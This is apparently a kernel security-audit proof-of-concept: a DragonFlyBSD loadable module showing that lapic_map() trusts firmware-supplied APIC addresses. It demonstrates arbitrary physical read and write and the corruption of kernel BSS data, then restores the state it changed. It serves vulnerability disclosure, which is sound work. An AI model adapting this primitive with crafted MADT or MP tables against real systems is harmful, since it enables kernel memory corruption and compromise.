⬢ DragonFlyBSD Kernel Audit
DF-5365 / df5365_harness.c
← back to finding ↓ download raw
/*
 * DF-5365 harness -- lapic_map() accepts any firmware-supplied physical
 * address for the Local APIC register page and the kernel then READS and
 * WRITES through it.
 *
 * Bug: lapic_map() (sys/platform/pc64/apic/lapic.c:1081-1085) does
 *
 *     lapic_mem = pmap_mapdev_uncacheable(lapic_addr, sizeof(struct LAPIC));
 *
 * with zero validation of lapic_addr.  The value comes straight from
 * firmware tables:
 *
 *   - MADT  LocalApicAddr      acpi_madt.c:451 (probe) / :503,:528-531
 *         (pass1, incl. LOCAL_APIC_ADDRESS_OVERRIDE entries)
 *         -> madt_lapic_enumerate(): lapic_map(lapic_addr)   acpi_madt.c:530
 *         only special value rejected anywhere on the path: 0
 *         (acpi_madt.c:479-487, mptable.c:762 KKASSERT(lapic_addr != 0))
 *   - MP config table cth->apic_address  mptable.c:761,:805
 *
 * The CPU's *actual* APIC base is in MSR_IA32_APICBASE (0x1b) and is never
 * cross-checked.  A crafted MADT/MP-table (QEMU: patched BIOS/pflash; the
 * -acpitable path is defeated because sdt_search() returns the first, i.e.
 * QEMU's own, APIC table -- same situation as DF-1042/DF-1064) therefore
 * selects an ARBITRARY physical page that lapic_init() (lapic.c:174-434)
 * and lapic_timer_calibrate() (lapic.c:562-662) then read and write at
 * fixed APIC-register offsets with partially controlled 32-bit values.
 *
 * On xAPIC hardware (x2apic_enable == 0: default QEMU CPU models, most
 * bare metal, or hw.x2apic_enable=0) every LAPIC_WRITE below IS the
 * production store instruction -- LAPIC_WRITE == LAPIC_MEM_WRITE
 * (lapic.h:113-119).
 *
 * This kld module proves the primitive on a running system by calling the
 * production lapic_map() with two attacker-style addresses:
 *
 *   Test A: a freshly allocated RAM page (full lapic_init() write set)
 *   Test B: the physical page of a live kernel BSS symbol, offset so the
 *           "EOI" store (lapic.c:406-408) lands exactly on
 *           cpu_id_to_apic_id[3] -- kernel data corrupted by an "APIC
 *           register write" (0xffffffff oneshot-arm value).
 *
 * Everything is restored inside a critical section; the only lasting
 * effect is one leaked mapdev KVA page (noted), acceptable in a harness.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <machine/cpufunc.h>
#include <machine/specialreg.h>
#include <machine/pmap.h>
#include <machine/intr_machdep.h>	/* XTIMER_OFFSET, XSPURIOUSINT_OFFSET */
#include <sys/thread2.h>
#include <vm/pmap.h>			/* pmap_kextract */
#include <machine_base/apic/lapic.h>	/* lapic_t, lapic_mem, LAPIC_MEM_* */

/* cpu_id_to_apic_id comes from machine_base/apic/lapic.h (lapic.c:122) */

#define FILL	0xAAAAAAAAu

static __inline u_int
reg32(void *kva, int off)
{
	return *(volatile u_int *)((char *)kva + off);
}

/*
 * The exact store sequence lapic_init(TRUE/FALSE) + calibration perform on
 * the mapped page (xAPIC mode).  Each line cites its production source.
 */
static void
df5365_production_write_set(void)
{
	u_int temp;

	/* lapic.c:272-282  LINT0 RMW (BSP: DM_EXTINT, masked if ioapic) */
	temp = LAPIC_MEM_READ(lvt_lint0);
	temp &= ~(APIC_LVT_MASKED | APIC_LVT_TRIG_MASK |
		  APIC_LVT_POLARITY_MASK | APIC_LVT_DM_MASK);
	temp |= APIC_LVT_DM_EXTINT | APIC_LVT_MASKED;
	LAPIC_MEM_WRITE(lvt_lint0, temp);

	/* lapic.c:293-299  LINT1 RMW (masked NMI) */
	temp = LAPIC_MEM_READ(lvt_lint1);
	temp &= ~(APIC_LVT_MASKED | APIC_LVT_TRIG_MASK |
		  APIC_LVT_POLARITY_MASK | APIC_LVT_DM_MASK);
	temp |= APIC_LVT_MASKED | APIC_LVT_DM_NMI;
	LAPIC_MEM_WRITE(lvt_lint1, temp);

	/* lapic.c:305-306  error + pcint masked */
	LAPIC_MEM_WRITE(lvt_error, LAPIC_MEM_READ(lvt_error) | APIC_LVT_MASKED);
	LAPIC_MEM_WRITE(lvt_pcint, LAPIC_MEM_READ(lvt_pcint) | APIC_LVT_MASKED);

	/* lapic.c:311-315  lvt_timer vector|masked */
	temp = LAPIC_MEM_READ(lvt_timer);
	temp &= ~APIC_LVTT_VECTOR;
	temp |= XTIMER_OFFSET | APIC_LVTT_MASKED;
	LAPIC_MEM_WRITE(lvt_timer, temp);

	/* lapic.c:322-324  TPR */
	temp = LAPIC_MEM_READ(tpr);
	temp &= ~APIC_TPR_PRIO;
	LAPIC_MEM_WRITE(tpr, temp);

	/* lapic.c:376-400  SVR enable + spurious vector */
	temp = LAPIC_MEM_READ(svr);
	temp |= APIC_SVR_ENABLE;
	temp &= ~APIC_SVR_FOCUS_DISABLE;
	temp &= ~APIC_SVR_VECTOR;
	temp |= XSPURIOUSINT_OFFSET;
	LAPIC_MEM_WRITE(svr, temp);

	/* lapic.c:406-408  three EOI stores of 0 */
	LAPIC_MEM_WRITE(eoi, 0);
	LAPIC_MEM_WRITE(eoi, 0);
	LAPIC_MEM_WRITE(eoi, 0);

	/* lapic.c:440 (lapic_timer_set_divisor(0)) */
	LAPIC_MEM_WRITE(dcr_timer, APIC_TDCR_2);

	/* lapic.c:451/:493/:542/:591 (oneshot arm during calibration) */
	LAPIC_MEM_WRITE(icr_timer, APIC_TIMER_MAX_COUNT);
}

static int
df5365_modevent(module_t mod, int type, void *arg)
{
	uint64_t apicbase_msr;
	vm_paddr_t phys;
	volatile lapic_t *saved_lapic_mem;
	void *kva;
	u_int saved0, after0;
	int hits;

	switch (type) {
	case MOD_LOAD:
		apicbase_msr = rdmsr(MSR_APICBASE);
		kprintf("DF5365: MSR_APICBASE=0x%llx -> real APIC page 0x%llx\n",
		    (unsigned long long)apicbase_msr,
		    (unsigned long long)(apicbase_msr & ~0xFFFLL));
		kprintf("DF5365: lapic_mem=%p (production state)\n",
		    (void *)(intptr_t)lapic_mem);
		kprintf("DF5365: offsets: lint0=0x%x lint1=0x%x err=0x%x "
		    "pcint=0x%x tmr=0x%x tpr=0x%x svr=0x%x eoi=0x%x "
		    "dcr=0x%x icr_tm=0x%x\n",
		    (int)__offsetof(struct LAPIC, lvt_lint0),
		    (int)__offsetof(struct LAPIC, lvt_lint1),
		    (int)__offsetof(struct LAPIC, lvt_error),
		    (int)__offsetof(struct LAPIC, lvt_pcint),
		    (int)__offsetof(struct LAPIC, lvt_timer),
		    (int)__offsetof(struct LAPIC, tpr),
		    (int)__offsetof(struct LAPIC, svr),
		    (int)__offsetof(struct LAPIC, eoi),
		    (int)__offsetof(struct LAPIC, dcr_timer),
		    (int)__offsetof(struct LAPIC, icr_timer));

		/*
		 * ---- Test A: attacker-chosen ordinary RAM page ----
		 */
		kva = kmalloc(PAGE_SIZE, M_DEVBUF, M_WAITOK | M_ZERO);
		crit_enter();
		saved_lapic_mem = lapic_mem;
		phys = pmap_kextract((vm_offset_t)kva);
		memset(kva, 0xAA, PAGE_SIZE);	/* attacker-visible contents */

		/* PRODUCTION CALL: what madt_lapic_enumerate/mptable do with
		 * the firmware value.  No validation inside. */
		lapic_map(phys);

		/* READ primitive: LAPIC_MEM_READ returns attacker data
		 * (production: LAPIC_READID / LAPIC_READ(version) etc.) */
		kprintf("DF5365: A: mapped attacker PA 0x%llx (kva %p)\n",
		    (unsigned long long)phys, kva);
		kprintf("DF5365: A: LAPIC_MEM_READ(version)=%08x "
		    "(attacker fill 0x%08x) READ-PRIMITIVE %s\n",
		    LAPIC_MEM_READ(version), FILL,
		    LAPIC_MEM_READ(version) == FILL ? "CONFIRMED" : "?");

		/* WRITE primitive: the production lapic_init() store set */
		df5365_production_write_set();

		hits = 0;
		if (reg32(kva, __offsetof(struct LAPIC, eoi)) == 0) {
			kprintf("DF5365: A: eoi(+0x%x) == 0x%08x (lapic.c:406) "
			    "WRITE-CONFIRMED\n",
			    (int)__offsetof(struct LAPIC, eoi),
			    reg32(kva, __offsetof(struct LAPIC, eoi)));
			hits++;
		}
		if (reg32(kva, __offsetof(struct LAPIC, icr_timer)) ==
		    APIC_TIMER_MAX_COUNT) {
			kprintf("DF5365: A: icr_timer(+0x%x) == 0xffffffff "
			    "(lapic.c:451) WRITE-CONFIRMED\n",
			    (int)__offsetof(struct LAPIC, icr_timer));
			hits++;
		}
		if (reg32(kva, __offsetof(struct LAPIC, dcr_timer)) ==
		    APIC_TDCR_2) {
			kprintf("DF5365: A: dcr_timer(+0x%x) == 0x%02x "
			    "(lapic.c:440) WRITE-CONFIRMED\n",
			    (int)__offsetof(struct LAPIC, dcr_timer),
			    APIC_TDCR_2);
			hits++;
		}
		if (reg32(kva, __offsetof(struct LAPIC, svr)) & APIC_SVR_ENABLE)
			hits++;
		if (reg32(kva, __offsetof(struct LAPIC, lvt_lint0)) != FILL)
			hits++;
		if (reg32(kva, __offsetof(struct LAPIC, lvt_lint1)) != FILL)
			hits++;
		if (reg32(kva, __offsetof(struct LAPIC, lvt_timer)) != FILL)
			hits++;
		kprintf("DF5365: A: svr=0x%08x lint0=0x%08x lint1=0x%08x "
		    "tmr=0x%08x (fill was 0x%08x)\n",
		    reg32(kva, __offsetof(struct LAPIC, svr)),
		    reg32(kva, __offsetof(struct LAPIC, lvt_lint0)),
		    reg32(kva, __offsetof(struct LAPIC, lvt_lint1)),
		    reg32(kva, __offsetof(struct LAPIC, lvt_timer)), FILL);

		lapic_mem = saved_lapic_mem;
		crit_exit();
		kfree(kva, M_DEVBUF);
		kprintf("DF5365: A: %d/7 register cells of the attacker page "
		    "were written by the production store set -> %s\n", hits,
		    hits >= 5 ? "ARBITRARY-PA WRITE CONFIRMED" : "partial");

		/*
		 * ---- Test B: kernel BSS corruption via the calibration
		 * "icr_timer" store ----
		 * base = &cpu_id_to_apic_id[3] - offsetof(icr_timer), so the
		 * oneshot arm store (lapic.c:451, APIC_TIMER_MAX_COUNT)
		 * overwrites cpu_id_to_apic_id[3] (value 3 on this guest)
		 * with 0xffffffff.
		 */
		crit_enter();
		saved_lapic_mem = lapic_mem;
		saved0 = *(volatile u_int *)&cpu_id_to_apic_id[3];
		{
			vm_offset_t tva = (vm_offset_t)&cpu_id_to_apic_id[3] -
			    __offsetof(struct LAPIC, icr_timer);
			phys = pmap_kextract(tva);
			lapic_map(phys);	/* PRODUCTION CALL, again */
			kprintf("DF5365: B: mapped kernel BSS PA 0x%llx so "
			    "that 'icr_timer' aliases cpu_id_to_apic_id[3]\n",
			    (unsigned long long)phys);
			kprintf("DF5365: B: cpu_id_to_apic_id[3] before=0x%08x"
			    "\n", saved0);

			/* the oneshot arm store from lapic.c:451 */
			LAPIC_MEM_WRITE(icr_timer, APIC_TIMER_MAX_COUNT);

			after0 = *(volatile u_int *)&cpu_id_to_apic_id[3];
			kprintf("DF5365: B: cpu_id_to_apic_id[3] after "
			    "=0x%08x -> KERNEL-BSS CORRUPTION %s\n",
			    after0,
			    after0 == APIC_TIMER_MAX_COUNT && after0 != saved0 ?
			    "CONFIRMED" : "not-confirmed");
		}
		/* restore */
		*(volatile u_int *)&cpu_id_to_apic_id[3] = saved0;
		lapic_mem = saved_lapic_mem;
		crit_exit();

		kprintf("DF5365: state restored (cpu_id_to_apic_id[3]"
		    "=0x%08x lapic_mem=%p)\n",
		    cpu_id_to_apic_id[3], (void *)(intptr_t)lapic_mem);
		kprintf("DF5365: done\n");
		return 0;
	default:
		return 0;
	}
}

static moduledata_t df5365_mod = { "df5365", df5365_modevent, NULL };
DECLARE_MODULE(df5365, df5365_mod, SI_SUB_EXEC, SI_ORDER_ANY);
MODULE_VERSION(df5365, 1);